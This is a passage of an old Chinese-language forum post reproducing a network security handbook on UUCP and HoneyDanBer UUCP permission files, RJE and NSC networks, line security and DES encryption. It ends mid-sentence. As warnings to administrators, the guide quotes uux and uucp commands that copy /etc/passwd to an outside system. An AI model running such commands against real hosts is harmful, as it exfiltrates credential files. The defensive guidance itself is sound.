查看單個文章
舊 2003-07-05, 03:45 PM   #2 (permalink)
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

網路安全手冊

網路安全手冊(一)
本文主要討論網路和資料通訊安全,分為六個部分.第一部分概述最大,最老
的UNIX網路UUCP系統;第二部分討論UUCP的安全;第三部分討論新HONEY DANBERUUCP及安全特
點;第四部分討論其它的UNIX網路,其中包括RJE和NSC;第五部分討論通訊的物理安全;最後一
部分討論Sun Microsystem公司的Sun OS系統的網路安全.

1.UUCP系統概述
UUCP系統是一組程序,完成文件傳輸,執行系統之間的指令,維護系統使用情況的統計,保護安
全.UUCP是UNIX系統最廣泛使用的網路實用系統,這其中在兩個原因:第一,UUCP是各種UNIX版
本都可用的唯一的標準網路系統,第二,UUCP是最便宜的網路系統.只需要一根電纜連接兩個系
統,然後就可建立UUCP.如果需要在相距數百或數千公里遠的兩個系統間傳輸資料,中需要兩個
具有撥號功能的調製解調器.

(1)UUCP指令
UUCP指令之一是uucp,該指令用於兩系統間的文件傳輸,uucp指令格式類似於cp指令的格式,
只是uucp允許用戶有系統間拷貝文件,指令的一般格式如
下:
uucp source_file destination_file
source_file通常是本系統的文件(但不必一定是),destination_file通常是另一系統的文件
或目錄.指定destination_file的格式為:
system!filename或system!directory.
uucp給系統管理員提供了一個選項,可以限制傳入和傳出本系統的uucp文件只能傳到/usr/s
pool/uucppublic目錄結構中.若告訴uucp將傳輸的文件存放在其他目錄中,系統將會送回一個
郵件:remote access to path / file denied. uucp允許以簡化符號~替代/usr/spool/uucp
public/.如:
uucp names remote!~/john/names
有時也可用uucp將文件從另一個系統拷貝到本系統,只要將要傳入本系統的文件指定為源文
件(用system!file)即可,如:
uucp remotes!/usr/john/file1 file1
如果在遠地機限制了文件傳輸的目錄,上條指令不能拷貝到文件.拷貝文件到本系統的最安全
的方法是:在兩個系統上都通過uucppublic目錄進行文件傳輸:
uucp remotes!~/john/file1 ~/pat/file1

(2)uux指令
uux指令可用於在另一個系統上執行指令,這一特點稱為"遠端指令仞行".
uux最通常的用處是在系統之間傳送郵件(mail在其內部執行uux).典型的uux請求如下:
pr listing| uux - "remote1!lp -d pr1"
這條指令將文件listing格式編排後,再連線到系統remote1的列印機pr1
上列印出來.uux的選項"-"使uux將本指令的標準輸入設備建立為遠端指令的標準輸入設備.
當若干個系統中只有一個系統連接了列印機時,常用uux列印文件.
當然必須嚴格地限制遠端指令招待,以保護系統安全.如:
本系統不應允許其它系統上的用戶執行下面的指令:
uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)"
這條指令將使本系統傳送/etc/passwd文件到系統outside上,一般地,只有幾條指令允許地執
行.rmail是加限制的mail程序,常常為允許通過uux執行的指令之一.也允許rnews(加限制的n
etnews偽離線指令)在執行netnews的系統上執行,還允許lp在提供了列印設備的系統上執行.

3)uucico程序uucp和uux指令實際上並不使用另一個系統及傳送文件和執行指令,而是將用戶
的請求排入貯列,並啟動uucico程序.uucico完成實際的通訊工作.它使用其它的系統,登入,傳
送資料(可以是文件或請求遠端指令執行).如果電話線忙,或其它系統已關機,傳輸請求仍針保
留在貯列中,uucico後續的職能操作(通常是cron完成)將傳送這些傳輸請求.
uucico完成資料的傳送和接收.在本系統的/etc/passwd文件中,有其它系統的uucico登入進
入本系統的入口項,該入口項中指定的預設shell是uucico.
因此,其它系統使用本系統時,直接與uucico對話.

(4)uuxqt程序
當另一系統的uucico使用本系統請求遠端指令執行時,本系統的uucico將該請求排入貯列,並
在退出之前,啟動uuxqt程序執行遠端指令請求.
下面舉例說明資料是如何傳輸的.假設本系統的一個用戶傳送郵件給另一遠端系統remote1的
某人,mail會執行uux,在remote1系統上遠端地執行remail程序,要傳送的郵件為remail指令的
輸入.uux將傳輸請求排入貯列,然後啟動
uucico招待實際的遠端使用和資料傳輸.如果remote1回應請求,uucico登入到 remote1,然後
傳送兩個文件:郵件和將在remote1上由uuxqt執行的uux指令文
件.uux指令文件中含有執行remail請求.如果remote1在被調時已關機,uucico 則將無法登和
傳送文件,但是cron會週期地(1小時)啟動uucico.uucico搜尋是 否有還未傳送出的資料,若發
現uux指定的傳輸目標系統是remote1,就嘗試再 使用remote1,直到調通remote1為止,或者過
了一定天數仍未調通remote1,未 送出的郵件將作為"不可投遞"的郵件退回給傳送該郵件的用
戶.
2.UUCP的安全問題
UUCP系統未設定限制,允許任何本系統外的用戶執行任何指令和拷貝進/出uucp用戶可讀/寫
的任何文件.在具體的uucp套用環境中應瞭解這點,根據需要設定保護.
在UUCP中,有兩個程序處理安全問題.第一個是uucico程序,該程序在其它系統使用本系統時
啟動.這個程序是本系統uucp安全的關鍵,完成本系統檔案傳輸的傳進和傳出.第二個程序是u
uxqt,該程序為所有的遠端指令執行服務.

(1)USERFILE文件
uucico用文件/usr/lib/uucp/USERFILE確定遠端系統傳送或接收什麼文件,其格式為:
login,sys[c] path_name [path_name...]
其中login是本系統的登入名,sys是遠端系統名,c是可選的call_back標誌,path_name是目錄
名.
uucico作為登入shell啟動時,將得到遠端系統名和所在系統的登入名,並在USERFILE文件中
找到匹配login和sys的行.如果該行含有call_back標誌c,uucico將不傳送文件,連接中斷連線,調
用遠端系統(即,任何系統可以告訴本系統它的名是xyz,於是本系統掛起,使用實際的xyz執行
文件傳輸),若無c,uucico將執行遠端系統請求的文件傳送,被傳送的檔案名被假定為以path_
name開頭的.
用戶需要瞭解以下幾點:
. 如果遠端系統使用的登入名未列於USERFILE的登入域中,uucico將拒絕允許其它系統做任
何事,並掛起.
. 如果系統名未列於sys域中,uucico將使用USERFILE中有匹配的登入名 和空系統名的第一
行,如:nuucp,/usr/spool/uucppublic套用到作為 nuucp登入的所有系統.cbuucp,c將迫使作
為cbuucp登入的所有系統自 己執行文件傳輸的請求.若使用系統名不匹配sys系統中的任何一
個,並 且無空入口項,uucico也將拒絕做任何事.
. 若兩個機器都設定了call_back標誌,傳送文件的請求決不會被執行,兩 個系統一直互相調
用,直到兩個系統中的一個取消call_back時,才能進 行文件傳送.
. 如果一個用戶的登入名列於USERFILE文件的login域中,則當使用本系 統的uucico為該用
戶傳送文件時,uucico只傳送至path_name指定的目 錄中的文件.空登入名用於所有未明確列
於USERFILE文件中的用戶進行 登入.所以
pat,/usr/pat
只允許pat傳送/usr/pat目錄結構中的文件.
,/usr/spool/uucppublic /tmp
其他用戶僅允許傳送目錄/usr/spool/uucppublic和/tmp中的文件.
不要允許uucico將文件拷進/出到除了/usr/spool/uucppublic目錄以 外的其它任何目錄,否
則可能會有人用下面的指令拷貝走本系統的重要 信息:
uucp yoursys!/etc/passwd to-creep
(2)L.cmds文件
uuxqt利用/usr/lib/uucp/L.cmds文件確定要執行的遠端執行請求指令.
該檔案的格式是每行一條指令.如果只需uuxqt處理電子郵件,該檔案中就只須 一行指令:
rmail
系統管理員可允許登入用戶執行netnews(rnews)的指令或遠端列印指令
(lp),但決不能允許用戶執行拷貝文件到標準輸出的指令,如cat指令或網路命 令uucp,否則
這些人只需在他們自己的系統上敲入:
uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)"
然後就可等待本系統傳送出指令文件.

(3)uucp登入
UUCP系統需要兩個登入戶頭,一個是其它系統登入的戶頭,另一個是系統 管理使用的戶頭.例
如,資料傳輸登入戶頭是nuucp,管理登入戶頭是uucp,則在
/etc/passwd文件中應當有二行.
UID和GID的5號通常留給uucp,由於uucico具有管理登入的SUID許可,因此 nuucp戶頭的UID和
GID應當用其它值.

(4)uucp使用的文件和目錄
/usr/lib/uucp用於存放不能由用戶直接執行的各種uucp,如uuxqt和 uucico.該目錄還含有
若干個確定uucp如何操作的文件,如L.cmds和USERFILE. 這些文件只能對uucp管理戶頭可寫(
系統管理員一定不願讓用戶更改遠端可執 行指令表):根據安全的觀點,該目錄中另一個系統
管理員必須清楚的文件是 L.sys.該檔案中含有uucico能使用的每個系統的入口項.入口項數
據包括uucico所使用系統的電話號碼,登入名,未加密的密碼.不用說,L.sys應當屬於 uucp管
理戶頭所有,且應當具有400或600存取許可.
uucp用/usr/spool/uucp目錄存放工作文件.檔案名以C.開頭的文件是送 到其它系統的指令
文件,含有在其它系統上拷入/出資料和執行指令的請求.文 件名以D.開頭的文件用作C.文件
的資料文件.檔案名以X.開頭的文件是來自其 它系統的遠端執行請求,由uuxqt解釋.檔案名以
TM.開始的文件是從其它系統 傳送資料到本系統程序中uucp所使用的暫存文件.XQTDIR是uux
qt用於執行X.
文件的目錄.LOGFILE可有助於管理uucp的安全,它含有執行uucp請求成功與否 的信息.系統
管理員可時常檢視該檔案,瞭解有哪些系統正登入入本系統執行 uucp請求?是什麼請求?特別
要檢查這些請求是否試突做不允許的操作.
網路安全手冊<二>
3.HONEYDANBER UUCP
有兩個主要的UUCP版本,第一個是與UNIX系統V一起頒布的,在本節將稱為老UUCP,另一個版本
稱為HONEYDANBER UUCP,由AT&T頒布.
HONEYDANBER UUCP較之老UUCP有若干改進:
<1>支持更多的撥號和網路:
. 智能自動撥號調製解調器以及標準AT&T技術的801自動撥號器.
. 網路,如DATAKIT VCS,UNET/ETHERNET, 3COM/ETHERNET, SYTEK, TCP
(BSD UNIX系統).
. 連線到LAN的撥號器.
. X.25永久性虛擬環網(用X.25傳輸協定)
<2>重新組織了/usr/spool/uucp目錄,在該目錄下,對每個遠端系統有一個
目錄.
<3>加強了安全.
. USERFILE和L.cmds文件組合成一個文件Permissions.
. 可以在一級級系統上指定遠端可執行指令.
. 可分別控制文件傳入和文件傳出.
. 預設的安全性設定很嚴格.

(1)HONEYDANBER UUCP與老UUCP的差別
HONEYDANBER UUCP中的/usr/lib/uucp/Systems文件是原來UUCP中的
/usr/lib/uucp/L.sys.HONEYDANBER UUCP中/usr/spool/uucp/.log下的一個
目錄替代了老UUCP的文件/usr/spool/uucp/logFILE./usr/spool/uucp/.log
中的目錄uucico,uucp,uux,uuxqt含有相應指令的記錄文件,各目錄對應最近
處於活躍狀態的遠端系統都有一個記錄文件(記錄文件在這些目錄中通常儲存
一個星期).
如果一個使用本系統的遠端系統未列於Systems文件中,uucico將不允許
該遠端系統執行任何操作,而是啟動shell程序/usr/lib/uucp/remote.unknown,
由UUCP提供的該shell程序的預設版本將在/usr/spool/uucp/.Admin/Foreign
文件中記下遠端系統的登入時間,日期及系統名.只要使remote.unknown不可
執行,就能禁止這一操作,以達到與老UUCP相容.
C.,D.,X.,TM.等文件存放在/usr/spool/uucp下的不同目錄中,目錄名就
是文件對應的遠端系統名.
在HONEYDANBER UUCP中USERFILE與L.cmds文件合併在一起,這個新文件
/usr/lib/uucp/Permissions提供了更靈活的授予外系統存取許可的控制.文
件中的規則表定義了可以發出請示的各種系統.規則與選項的格式如下.
rule=list option=yes|no option=list...
其中rule是登入名或機器名,list是用以分隔各項的規則表(表中各項隨
rule或option而變),option是下邊將討論的各選項之一,或為一個選項表,或
只取yes/no決定允許/不允許一項操作.
(2)登入名規則
LOGNAME規則用於控制作為登入shell啟動的uucico.
LOGNAME=nuucp
指定對所有登入到nuucp戶頭下的系統加預設限制:
. 遠端系統只能傳送文件到/usr/spool/uucppublic目錄中.
. 遠端系統不能請求接收任何文件.
. 當uucico使用遠端系統時,才傳送已排入貯列要傳送到該遠端系統的文
件.這是uucico準確地識別遠端系統的唯一方法(任何系統都可使用本
系統並冒充是xyz系統).
. 由uuxqtux遠端系統的名義可執行的指令是預設規定的指令,這些預設
指令在編譯時定義(通常只有rmail,rnews指令).
. 可用冒號分隔開若干個其它系統的uucico的登入戶頭.
LOGNAME=nuucp:xuucp:yuucp
任何設有LOGNAME規則的系統,若要登入請求UUCP傳送,都會被回絕(系統
將給信息"get lost",並掛起).
一個LOGNAME規則就足夠啟動HONEYDANBER UUCP系統.事實上,當該系統運
行時,將在Permissions文件中放一個無選項的LOGNAME規則,該規則套用於在
/etc/passwd文件入口項shell域中有/usr/lib/uucp/uucico的所有登入戶頭.
可使用若干選項忽略預設限制,這些選項可組合,允許或限制各種操作.例
如可用WRITE選項指定一個或多個送入文件的目錄,而不用被限制送入
/usr/spool/uucppublic目錄.
LOGNAME=nuucp WRITE=/
這一規則允許文件送入本系統的任何目錄.2-4項的限制依然保持.注意:
遠端UUCP請求可重寫任何有寫許可的文件,可指定多個寫入文件的目錄.用冒
號分隔開:
LOGNAME=nnuucp WRITE=/usr:/floppy
該規則允許遠端系統將文件寫到/usr和/floppy目錄中.
用REQUEST=yes選項可允許遠端系統的用戶從本系統拷貝文件.
LOGNAME=nuucp REQUEST=yes
能被拷貝的文件只能是存放在/usr/spool/uucppublic目錄中的文件,1,
3,4,項的限制仍然有效.若要允許遠端系統可從其它目錄拷貝文件,用READ選
LOGNAME=nuucp REQUEST=yes READ=/usr
該規則允許遠端系統拷貝/usr目錄中任何其他人可讀的文件.也可像
WRITE選項一樣指定目錄表.
用SENDFILES=yes選項可允許uucico在遠端系統使用本系統時傳送出已排
隊的文件.
LOGNAME=nuucp SENDFILES=yes
1,2,4項的限制依然有效.
用CALLBACK=yes選項迫使任何登入到指定戶頭的系統call back.
注意:CALLBACK=yes不能與其它選項組合作用.如果其它選項與這條選項
列在一起,其它選項將被忽略.
NOREAD和NOWRITE選項可分別與READ和WRITE選項一起使用.指定NOREAD選
項下的目錄表,可建立對READ選項的例外處理(即指出READ目錄中不能由遠端
系統請求的目錄),例如:
LOGNAME=nuucp,REQUEST=yes READ=/ NOREAD=/etc
該規則允許遠端系統請求系統中任何其他人可讀的文件,但不包括/etc中
的文件,NOWRITE,WRITE的聯合用法與上類似.
一般來說,不要將預設限制改得太多.若本系統被另一系統調去存貯電話
費用或系統管理員沒有辦法撥出,可以用SENDFILE選項.若要對某些機器取消
限制,則應當建立一個僅用於那些機器的uucico登入戶頭.例如:
LOGNAME=nuucp SENDFILES=yes
LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/
上面的規則允許在trusted戶頭下登入的系統在本系統中具有另一種文件
存取許可,nuucp戶頭的密碼應送給所有要與本系統uucp建立連接的系統管理
員,trusted戶頭的密碼則只能送給信任系統的管理員.
如系統有信任和非信任的uucp戶頭,最好用PUBDIR選項為這兩種戶頭建立
不同的公共戶頭,PUBDIR允許系統管理員改變uucico對公共目錄的概念(預設
為/usr/spool/uucppublic).例如:
LOGNAME=nuucp SENDFILES=yes REQUEST=yes
PUBDIR=/usr/spool/uucppublic/nuucp
LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/
PUBDIR=/usr/spool/uucppublic/trusted
上面的選項使要送到公共目錄中的文件,對於不同登入nuucp和trusted分
別放入不同的目錄中.這將防止登入到nuucp的非信任系統在信任系統的公共
目錄中拷進和拷出文件(注意:上面的選項允許nuucp請求文件傳送).行尾倒斜
槓指明下一行是該行的續行.
用MYNAME選項可以給登入進某一戶頭的系統賦與一個系統名:
LOGNAME=Xuucp MYNAME=IOnker
(3)MACHINE規則
MACHINE規則用於忽略預設限制,在MACHINE規則中指定一個系統名表,就
可使uucico使用這些系統時改變預設限制.READ,WRITE,REQUEST,NOREAD,
NOWRITE,PUBDIR選項的功能與LOGNAME相同.忽略CALLBACK,SENDFILES選項,
MYNAME選項所定義的必須與LOGNAME規則聯用,指定將賦給使用系統的名,該名
僅當使用所定義的系統時才用.
MACHINE規則的格式如下:
MACHINE=zuul:gozur:enigma WRITE=/ READ=/
這條規則使遠端系統zuul,gozar,enigma能夠傳送/請求本系統上任何其
他人可讀/寫的文件.一般不要讓遠端系統在除/usr/spool/uucppublic目錄外
的其它目錄讀寫文件,因此,對於信任的系統也要少用MACHINE規則.
系統名OTHER用於為指定用戶外的所有其他用戶建立MACHINE規則.
COMMANDS選項用於改變uuxqt通過遠端請求執行的預設指令表.
MACHINE=zuul COMMANDS=rmail:rnews:lp
上面的選項允許系統zuul請求遠端執行指令rmail,rnews,lp.uucico不用
這個選項.uuxqt用該選項確定以什麼系統的名義執行什麼指令.
COMMANDS選項所指定的指令將用預設設定的路徑PATH.PATH在編輯uuxqt
時被建立通常設定為/bin:/usr/bin.在COMMANDS選項中給出全路徑名可以忽
略預設PATH.
MACHINE=zuul COMMANDS=umail:/usr/local/bin/rnews:lp
同樣地,對HONEYDANBER UUCP也應當象老UUCP一樣不允許遠端系統執行
uucp或cat這樣的指令.任何能讀寫文件的遠端執行指令都可能威脅局域安全.
雖然局域系統對遠端系統名進行一定程序的校核,但是任何遠端系統在使用局
域系統時都可自稱是"xyz",而局域系統卻完全相信是真的.因此局域系統的系
統可能認為只允許了zuul執行lp指令.但實際上任何自稱是zuul的系統也被允
許執行lp指令.
有兩種方法可以證實系統的身份.一種方法是拒絕用CALLBACK=yes與使用
系統對話.只要電話和網路線未被破密或改變,局域系統就能肯定地驗證遠端
系統的身份.另一種方法是在LOGNAME規則中用VALIDATE選項.
若必須允許某些系統執行"危險"的指令,可聯用COMMANDS和VALIDATE選項,
VALIDATE選項用於LOGNAME規則中指定某系統必須登入到LOGNAME規定的登入
戶頭下:
LOGNAME=trusted VALIDATE=zuul
MACHINE=COMMANDS=rmail:rnews:lp
當一個遠端系統自稱是zuul登入時,uucico將查Permissions文件,找到
LOGNAME=trusted規則中的VALIDATE=zuul,若該遠端系統使用了登入戶頭
trusted,uucico將認為該系統的確是zuul繼續往下執行,否則uucico將認為該
系統是假冒者,拒絕執行其請求.只要唯有zuul有trusted戶頭的登入密碼,其
它系統就不能假冒它.僅當登入密碼是保密的,沒有公佈給其他非信任的系統
管理員或不安全的系統,VALIDATE選項才能奏效.如果信任系統的登入密碼洩
漏了,則任何系統都可偽裝為信任系統.
在COMMANDS選項中給出ALL時,將允許通過遠端請求執行任何指令.因此,
不要使用ALL!規定ALL實際上就是把自己的戶頭給了遠端系統上的每一個用戶.
(4)組合MACHINE和LOGNAME規則
將MACHINE和LOGNAME規則組合在一行中,可以確保一組系統的統一安全,
而不管遠端系統使用局域系統還是局域系統使用遠端系統.
LOGNAME=trusted MACHINE=zuul:gozur VALIDATE=zuul:gozur
REQUEST=yes SENDFILES=yes
READ=/ WRITE=/ PUBDIR=/usr/spool/trusted
COMMANDS=rmail:rnews:lp:daps

(5)uucheck指令
一旦建立了Permissions文件,可用uucheck -v指令瞭解uucp如何解釋該
文件.其輸出的前幾行是驗證HONEYDANBER UUCP使用的所有文件,目錄,指令都
存在,然後是對Permissions文件的檢查.

(6)網關(gateway)
郵件轉送可用於建立一個gateway機器.gateway是一個只轉送郵件給其它
系統的系統.有了gateway,使有許多UNIX系統的部門或公司對其所有用戶只設
一個電子郵件位址.所有發來的郵件都通過gateway轉送到相應的機器.
gateway也可用於加強安全:可將MODEM連線到gateway上,由gateway轉送
郵件的所有系統通過區域網路或有線通訊線與gateway通訊.所有這些局域系統
的電話號碼,uucp登入戶頭,密碼不能對該組局域系統外的系統公佈.如果有必
要,可使gateway是唯一連接了MODEM的系統.
建立一個最簡單的gateway是很容易的:對每個登入進系統,想得到轉送郵
件的用戶,只需在文件/usr/mail/login中放入一行:
Forward to system !login
要傳送給戶頭login的郵件進入gateway後,將轉送給登入在系統system的
戶頭login下的用戶.兩個登入名可以不同.
gateway建立了一個安全管理的關卡:gateway的密碼必須是不可猜測的,
gateway應盡可能只轉送郵送而不做別的事.至少不要將重要資料存放在該機
上.在gateway上還應做日常例行安全檢查,並且要對uucp的登入進行仔細的檢
查.
gateway也為壞傢伙提供了一個入口:如果有人非法進入了gateway,他將
通過uucp使用的通訊線存取其它的局域系統和存取含有關於其它局域系統uucp
信息的Systems文件.若這人企圖非法進入其它系統,這些信息將對他具有很大
的用處.
經驗:
. 若要建立gateway,應確保其盡可能的無懈可擊.
. 可在gateway和局域系統間建立uucp連接,使得局域系統定期的與gateway
通訊獲取郵件,而gateway完全不用使用局域系統.這樣做至少能防止一
個壞傢伙通過gateway非法進入局域系統.
. 利用局域系統的Permissions文件對gateway的行為加以限制,使其裸露
程度達到最小,即只轉發郵件.這樣可使竊密者不能利用gateway獲取其
它系統的文件.

(7)登入文件檢查
HONEYDANBER UUCP自動地將登入信息郵給uucp.login文件,應當定期地讀
這個文件.系統管理員應當檢查那些不成功的大量請求,特別是其它系統對本
系統的文件請求.還要檢查不允許做的遠端指令執行請求.登入信息都儲存在
文件中,如果要檢視,可用grep指令檢視./usr/spool/uucp/.Log/uucico/system
文件中含有uucico登入,/usr/spool/uucp/.Log/uuxqt/system文件含有uuxqt
登入.下面一行指令將列印出uuxqt執行的所有指令(rmail除外):
grep -v rmail /usr/spool/uucp/.Log/uuxqt/*
下面一行指令將列印所有對本系統檔案的遠端請求:
grep -v REMOTE /usr/spool/uucp/.Log/uucico/* | grep "<"
總之,HONEYDANBER UUCP比老UUCP提供了更強的安全性,特別是提高了遠
程指令執行的安全性.
網路安全手冊<三>
4.其它網路

(1)遠端作業登入(RJE)
RJE(remote job entry)系統提供了一組程序及相應的硬體,允許UNIX系
統與IBM主機上的JES(job entry subsystems)通訊.可通過兩條指令的send和
usend存取RJE.send指令是RJE的通用的作業提供程序,它將提供文件給JES,就
好像這些作業文件是從卡片閱讀機讀入的"穿孔卡片"一樣.usend指令用於在
使用了RJE系統的UNIX系統間傳送文件,它將建立一個"作業"(虛擬的一疊穿孔
卡片),並以send指令的送文件的同樣方式將該作業提供給JES.該作業卡片疊
中的控制卡告訴JES資料傳送到何處(這裡,資料是正被傳送的文件).文件傳送
的目的地是UNIX系統,但JES認為是一個"行式列印機".RJE系統通常以每秒
9600位的速率與JES通訊.典型的usend指令句法如下:
usend -d system -u login file(s)
system是掛到IBM JES上的另一個UNIX系統名,login是另一個系統上的接
收用戶的登入名,file(s)是用戶希望傳送的文件.
幾個關於RJE的安全問題:
. 預設時,RJE將把文件傳送到接收用戶的HOME目錄中的rje目錄.該目錄
必須對其他人可寫,可執行,這意味著存入rje目錄的文件易受到檢查,
移動,修改.然而如果該目錄的許可方式是733,其他用戶就不能用ls列
目錄內容尋找感興趣的文件.被建立的文件對所有者,小組或其他人都
是可讀的,所以通過RJE網路傳送的安全文件在系統上都是可讀的.為什
麼這些問題不同於UUCP和/usr/uucppublic目錄?
* UUCP定期地清除/usr/spool/uucppublic目錄的內容,幾天前或幾星
期前的老文件將被刪除,通常用戶將把自己的文件移出uucppublic目
錄,以免文件被刪除,而存在用戶rje目錄中的文件不會被清除,所以
有些用戶從來不把自己的文件移到其它目錄.
* 用戶清楚地知道uucppublic目錄是一個公共目錄,存入重要信息之前,
首先注意將其加密.但是用戶卻總是容易忘記自己rje目錄實際上也
是公共目錄,經常忘記將重要文件加密.
. usend指令在其他人可寫的目錄中建立文件,並重寫其他人可寫的文件.
. RJE服務子程序是執行一些功能而不是執行文件傳送.RJE系統像UUCP一
樣也執行遠端指令,執行RJE的大多數系統用遠端指令執行轉送電子郵
件.因為RJE的傳輸率通常比UUCP更高.遺憾的是RJE沒有像UUCP那樣的
能力限制能執行的指令和能存取的文件.一個好的經驗是將連線到同一
個JES的一組系統,看作這些系統是在同一系統上.

(2)NSC網路系統
NSC(network systems corporation)寬信道網路是一個高速區域網路絡
(LAN).NSC可將數千個最遠相距5000英尺的系統掛在一起,傳輸速率可高達
50MBIT/S,NSC也可通過的通訊如微波或人造衛星通訊線連接不同系統.
UNIX用戶可通過nusend指令存取NSC寬信道,nusend指令的句法與usend命
令相同,除用-c選項傳送其他人不可存取的文件外,大多數情況下,nusend的用
法與usend是一樣的,換言之,如果無-c選項,文件就是可讀的,而且文件路徑名
中列出所有目錄對其他人也都是可搜尋的,前邊討論過的關於RJE的安全問題
的考慮也適合於NSC網路.
可檢視NSC記錄文件,瞭解NSC是否正在執行任何不應執行的指令.記錄文
件儲存在目錄/usr/nsc/log中.下面的指令將列印出所有由NSC在本系統上執
行的指令(rmail除外):
grep execute /usr/nsc/log/LOGFILE|grep -v rmail
5.通訊安全
有兩種方法可以提供安全的通訊:第一種是保證傳輸介質的物理安全,即使
任何人都不可能在傳輸介質上接上自己的竊密線或"竊聽",第二種方法是加密重
要資料.

(1)物理安全
如果所有的系統都鎖在屋裡,並且所有連接系統的網路和接到系統上的終
端都在上鎖的同一屋內,則通訊與系統一樣安全(假定沒有MODEM).但是系統的
通訊線在上鎖的室外時,就會發生問題了.
儘管從網路通訊線提取信息所需要的技術,比從終端通訊線獲取資料的技
術高幾個數量級,上述的同樣的問題也倒發生在網路連接上.
用一種簡單的(但很昂貴)高技術加壓電纜,可以獲得通訊的物理安全.這
一技術是若干年前,為美國國家電話系統而發展的.通訊電纜密封在塑料中,埋
置於地下,並在線的兩端加壓.線上連接了帶有報警器的監示器,用來測量壓力.
如果壓力下降,則意味電纜可能破了,維修人員將被派出尋找與修復出問題的
電纜.
電纜加壓技術提供了安全的通訊線.不是將電纜埋置於地下,而是架線於
整座樓中,每寸電纜都將暴露在外.如果任何人企圖割電纜,監示器會啟動報警
器,通知安全保衛人員電纜已被破壞.如果任何人成功地在電纜上接了自己的
通訊線,安全人員定期地檢查電纜的總長度,應可以發現電纜拼接處.加壓電纜
是遮閉在波紋鋁鋼包皮中的,因此幾乎沒有電磁發射,如果要用電磁感應竊密,
勢必需用大量可見的設備.
這樣終端就不必鎖在辦公室,而只需將安全電纜的端頭鎖在辦公室的一個
盒子裡.
另一個增加外部終端物理安全的方法,是在每天下午5點使用電腦的時
間結束時,即當所有用戶回家時,中斷連線終端的連接.這樣某人若想非法進入系統,
將不得不試突在白天人們來來回回的時間裡獲取終端的存取權,或不得不在下
午5點手試突潛入電腦房(如果5點後電腦房有操作人員或有安全人員,潛
入電腦房的企圖就不可能得逞).
光纖通訊線曾被認為是不可搭線竊聽的,其斷破處立即可被檢測到,拼接
處的傳輸會令人難以忍耐的緩慢.光纖沒有電磁幅射,所以也不能用電磁感應
竊密.不幸的是光纖的最大長度有限制,長於這一長度的光纖系統必須定期地
放大(複製)信號.這就需要將信號轉換成電脈衝,然後再恢復成光脈衝,繼續通
過另一條線傳送.完成這一操作的設備(複製器)是光纖通訊系統的安全薄弱環
節,因為信號可能在這一環節被搭線竊聽.有兩個辦法可解決這一問題:距離大
於最大長度限制的系統間,不要用光纖線通訊(目前,網路覆蓋範圍半徑約100
公里),或加強複製器的安全(用加壓電纜,警報系統,警衛).
(2)加密
加密也可提高終端和網路通訊的物理安全,有三種方法加密傳輸資料:
. 連接加密:在網路節點間加密,在節點間傳輸加密,傳送到節點後解密,
不同節點對間用不同的密碼.
. 節點加密:與連接加密類似,不同的只是當資料在節點間傳送時,不用明
碼格式傳送,而是用特殊的加密硬體進行解密和重加密,這種
專用硬體通常旋轉在安全保險箱中.
. 首尾加密:對進入網路的資料加密,然後待資料從網路傳送出後再進去行
解密.網路本身並不會知道正在傳送的資料是加密資料.這一
方法的優點是,網路上的每個用戶(通常是每個機器的一個用
戶)可有不同的加密關鍵詞,並且網路本身不需增添任何專門
的加密設備.缺點是每個系統必須有一個加密設備和相應的
軟體(管理加密關鍵詞).或者每個系統必須自己完成加密工
作(當資料傳輸率是按兆位/秒的服務機構計算時,加密任務的計
算量是很大的).
終端資料加密是一特殊情況,此時連接加密法和首尾加密法是一樣的方
法,終端和電腦都是既為節點又為終止端點.
通訊資料加密常常不同於文件加密,加密所用的方法不應降低資料的傳送
速度.丟失或被歪曲了的資料不應當引起丟失更多的資料位,即解密工作應當
能修復壞資料,而不能由於壞資料對整個文件或登入進行不正確地解密.對於
登入會話,必須一次加密一個字元,特別是在UNIX系統的情況下,系統要將字所
返回給用戶,更應一次加密一個字元.在網路中,每一鏈可能需要不同的加密關
鍵字,這就提出了對加密關鍵詞的管理,分配和替換問題.
DES傳送資料的一般形式是以代入法密碼格式按塊傳送資料,不能達到上
述的許多要求.DES採用另一加密方法,一次加密一位或一個字元,形成密碼流.
密碼流具有自同步的特點,被傳送的密碼文本中發生的錯誤和資料丟失,將只
影響最終的明碼文本的一小段(64位).這稱為密碼反饋.在這種方法中,DES被
用作虛擬隨機數發生器,產生出一系列用於對明碼文本的隨機數.明碼文本的
每n位與一個DESn位的加密輸出數進行異或,n的取值為1-64,DES加密處理的輸
入是根據前邊傳送的密碼文本形成的64位的數值.
發n為1時,加密方法是自同步方式:錯一位或丟失1位後,64位的密碼文本
將不能被正確地解密,因為不正確的加密值將移入DES輸入的末端.但是一旦接
收到正確的64位密碼,由於DES的加密和解密的輸入是同步的,故解密將繼續正
確地進行.
DES的初始輸入稱為種子,是一個同時由傳輸器和接收器認可的隨機數.通
常種子由一方選項,在加密前給另一方.而加密關鍵詞不能以明碼格式通過網
絡傳送,當加密系統電源時在兩邊都寫入加密關鍵詞,並且在許多階段期間加
密關鍵詞都保持不變,用戶可以選項由主關鍵詞加密的階段關鍵詞,傳送到數
據傳送的另一端,當該階段結束後,階段關鍵詞就不再使用了.主關鍵詞對用戶
是不可見的,由系統管理員定期改變,選項哪一種關鍵詞管理方法,常由所用的
硬體來確定.如果加密硬體都有相應的設備,則用種子還是用主關鍵詞階段關
鍵詞是無關緊要的.
(3)用戶身份鑒別
密碼只是識別一個用戶的一種方法,實際上有許多方法可以用來識別用戶.
. CALL BACK MODEM:則維護系統有效用戶表及其相應電話號碼的設備.當
用戶撥號使用系統時,CALL BACK MODEM獲得用戶的登入戶頭,掛
起,再回頭使用用戶的終端.這種方法的優點是,限制只有電話號
碼存於MODEM中的人才是系統的用戶,從而使非法侵入者不能從其
家裡使用系統並登入,這一方法的缺點是限制了用戶的靈活性,並
仍需要使用密碼,因為MODEM不能僅從用戶發出使用的地方,唯一
